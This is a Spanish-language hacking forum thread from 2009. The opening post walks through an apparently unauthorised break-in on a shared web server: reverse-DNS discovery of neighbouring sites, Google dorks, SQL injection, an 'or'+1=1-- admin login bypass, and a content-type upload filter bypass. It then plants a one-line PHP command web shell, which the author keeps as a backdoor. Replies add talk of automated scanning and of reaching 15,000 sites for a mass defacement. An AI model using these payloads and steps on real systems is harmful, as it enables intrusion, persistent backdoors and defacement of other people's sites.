Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)

Iniciado por OzX, 10 Abril 2009, 05:37 AM

0 Miembros y 2 Visitantes están viendo este tema.

OzX

El Objetivo del Post es demostrar que es posible ingresar a una web no necesariamente por la Misma en cuestion, sino mas bien que es posible ver que paginas estan alojadas en el servidor y poder subir una shell de forma paralela. aprovechando las vulnerabilidades que estan en otras paginas alojadas en el Mismo Servidor. Porque simplemente una pagina es una Carpeta mas dentro de un Servidor.



Este es un Caso real de una Empresa que hace Paginas para el Gobierno, Aunque no e recibido contacto alguno de parte de ellos, posteo la metodologia de la intrusion y imagenes de un Video que les Envie. No posteo la Falla en Si ni la Pagina, porque no FALTARA, el que hace provecho de este. Espero que sea les de Utilidad.

Edite todas las Imagenes, para no tener Problemas.

A la  pagina que yo Deseo Ingresar, Llamemosla Objetivo.com.

Analizando la Web me encuentro que es puro html, mas duro que una Roca, tiene una zona de login pero Sin fallas de Injecciones, Luego de saber de forma manual que no podia ingresar, busque en google algun archivo php u asp, que estuviera en el Sitio.


site:objectivo.com inurl:php
site:objectivo.com inurl:asp


Y para mi Sorpresa solo existia 1 solo php que era del Login y de la zona de usuario.

Ahora bien , aunque paresca el evangelizador de las reverse Dns, encuentro que es una Opcion Total, para las intrusiones en Servidores Compartidos.

Reverse DNS:


Me Encuentro Con Varios Sitios, 2 de ellos Joomla, dios que Odio los Joomla XD¡. Aunque sean Utiles, No me gustan. Por lo Cual los deje para el FInal.
Pero para i sorpresa me encuentro con una Web que se nota que no a sido actualizada hace mucho mucho tiempo, por lo cual, mi mision ahora es ingresar por dicha Web.

Llamemos esta web Compartido.com

Analizando la Web encuentro una Falla de Sql Injection:



Ahora bien, tenia todo el Animo del Mundo, pero a medida que iva desentrañando la Vulnerabilidad me doy cuenta que es una Version 4 de mysql (adios schema), intente adivinar las tablas y nada. Dije vamos como tan Mal ¡ Intente si tenia Magic quotes ..... y Sep. Adios Into Out File.

Busque otros Inputs Vulnerables pero todos me llevaban a la Misma Inyeccion. 


AL Otro dia ya mas relajado, empiezo a buscar el panel de administrador, para ver por si, como era una web antigua tenia la mitica injeccion sql de 'or'+1=1--, buscando no me demore ni 1 seg en provar /admin/, el cual magicamente aparecio ante mi.



Panel:


Y que No ¡



me reia solo al pensar que pase como 2 horas provando tablas y opciones, teniendo el acceso a un "/admin" de distancia...

Rapidamente fui a buscar algun Upload, y claramente encontre uno, pero tenia un Filtro basico para que solo se puedera subir imagenes. (content-type)



Volvi a Subir la Shell pero la volvi a enviar , pero dejando el content type del jpg, pero cambiando la extension.



Shell Up :


Ahora bien la "Shell" Que subir es un Simple Request Pasado al Systema.


<? system($_REQUEST['cmd']); ?>


¿Porque?

En lo personal Encuentro que con este Tipo de Shell es mucho mas facil subir el archivo , principalmente por eso, y tambien porque no es tan invasivo como Subir la Shell directamente. La Puedes Incluso dejar como Backdoor.

Ahora teniendo Esto Arriba, nada mas tenia que ubicar el path en donde se alojaba Objectivo.com




Pero uhmmm, como lo Sabre?... Pues en la Segunda Imagen se Muestra Claramente el Path con el Error.
Aunque paseando por el sistema se puede saber facilmente el path.



Ahora ya Conociendo el Path nada mas me quedaba Subir la Shell, a Objetivo.com pero ¿Como se que Carpeta tien permisos de escritura?, En lo personal, veo las imagenes alojadas en el servidor, y observo la Ruta de este, "casi" siempre, estas carpetas en donde se alojan las imagenes, estan con permisos, por lo cual mi Ruta era.


var/www/vhost/objectivo.com/admin/upload/


Y Gracias  a Este Post de Como  Subir Shell Via Wget



The Show Time ¡



Saludos¡
OzX¡
Undersecurity.net

Darioxhcx

la verdad que esta bueno , me gusto lo de la parte final , no la hubiera imaginado de en ves de subir la shell , empezar a ejecutar comandos
y localizar paths

saludos

protos

Muy buena, gracias por compartir. Despues del reverse dns, entraste a todas las web a probar?

OzX

Cita de: protos en 10 Abril 2009, 12:57 PM
Muy buena, gracias por compartir. Despues del reverse dns, entraste a todas las web a probar?
Hi brota
Pues accedi a todos los vhost que tenia el server, pero me interesaba una en especial objectivo.com.
Pero en otros casos me e encontrado con que ingresando a un solo servidor me encuentro con mas de 200 paginas.

Una vez logre obtener una cantidad de 15.000 paginas, pudo haber sido el mayor mass defacement de la historia de chile xD¡.
Pero lo reporte y me agredecieron con un intento de demanda xD¡.
Cosas que pasan.

Saludos Brota¡

protos

Jajaja, que agradecidos. Pero a tantas paginas que encuentras con un reverse DNS, para comprobarlas todas te puedes morir...:S Y sin la seguridad de encontrar un hueco.

salu2!

OzX

Cita de: protos en 10 Abril 2009, 19:48 PM
Jajaja, que agradecidos. Pero a tantas paginas que encuentras con un reverse DNS, para comprobarlas todas te puedes morir...:S Y sin la seguridad de encontrar un hueco.

salu2!

jejeje osea claro, puedes tener como 200 paginas en un reverse, pero para ello, tengo varios scripts.
que ya automatizan todo.

no me encuentran todas las vulnz obviamente, pero si me sacan los Links con los Inputs
php?x=xx
asp?x=xx
y eliina los repetido, asi nada mas voy revisando por categoria por paginas.
y se me hace muxo mas facil.

incluso, detecta si muestra en pantalla algun error de mysql.

sike a la larga no es tanto trabajo.

Saludos¡ Brota¡

Littlehorse

El upload de la shell estuvo bueno, y tambien la curraste con la localizacion de paths, pero no veo mas que la misma historia de siempre  :-\. No estoy despreciando el post pero lo unico interesante que se puede rescatar de aqui es que siempre hay secciones desactualizadas que pueden ser explotadas, porque vamos que poder aprovecharse de "'or'+1=1--" a estas alturas...
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

IWKY

Hola, tengo una duda, porque no subiste de buenas a primeras la c99 y subiste un script mas sencillo.
Por internet libre http://red-sostenible.net/
El mejor momento de Dragon Ball Z --> Aqui

OzX

Cita de: Littlehorse en 10 Abril 2009, 20:23 PM
El upload de la shell estuvo bueno, y tambien la curraste con la localizacion de paths, pero no veo mas que la misma historia de siempre  :-\. No estoy despreciando el post pero lo unico interesante que se puede rescatar de aqui es que siempre hay secciones desactualizadas que pueden ser explotadas, porque vamos que poder aprovecharse de "'or'+1=1--" a estas alturas...

Claro brota, no a todos les tiene q gustar, te respeto tu opinion.
pero varios al no encontrar falla en una web, se olvidan, teniendo la posibilidad de ver que paginas estan alojada en el mismo server. esa es la idea del post. mas bien el objectivo.
Edite el Post principal, con el objectivo del post.
Saludos Compañero ¡


Cita de: IWKY en 10 Abril 2009, 20:43 PM
Hola, tengo una duda, porque no subiste de buenas a primeras la c99 y subiste un script mas sencillo.

Hi Brota
como dje en el post, esa "mini shell" me sirve para poder mandar commandos directos y es muxo mas facil poder moverse en el server y la carga es muxo menor.
asi la tengo como back, por cualquier cosa jejeje
tambien porque no queria subir la c99 en la pagina compartida, sino mas bien en la otra.
nada mas este me sirvio de puente, para poder subir la shell en la otra carpeta.

pero bueno cada uno lo hace como se sienta mas comodo.
aparte que la c99 muxas veces, no deja ver otros directorios. porque dios sabe porque, (talves por los commandos que utiliza). pero al tener permisos de system, puedo hacer ls a donde el usuario del server me permita, lo cual es muxo mejor.

Saludos¡
Oz¡

Littlehorse

CitarClaro brota, no a todos les tiene q gustar, te respeto tu opinion.
pero varios al no encontrar falla en una web, se olvidan, teniendo la posibilidad de ver que paginas estan alojada en el mismo server. esa es la idea del post. mas bien el objectivo.
Edite el Post principal, con el objectivo del post.
Saludos Compañero ¡

No no. Me gustan este tipo de posts, creo que siempre esta bueno ver el "Real-Scenario" para ciertas cosas, solo remarque lo que a mi me parece mas destacable, que no lo son los metodos en si, pero si la posibilidad de encontrar fallos explotables en otras secciones, como bien pusiste en el primer post.
En cuanto a la carga de la mini-shell, llevas razon, y ademas hasta podria pasar mas desapercibida que otras.

Saludos!
An expert is a man who has made all the mistakes which can be made, in a very narrow field.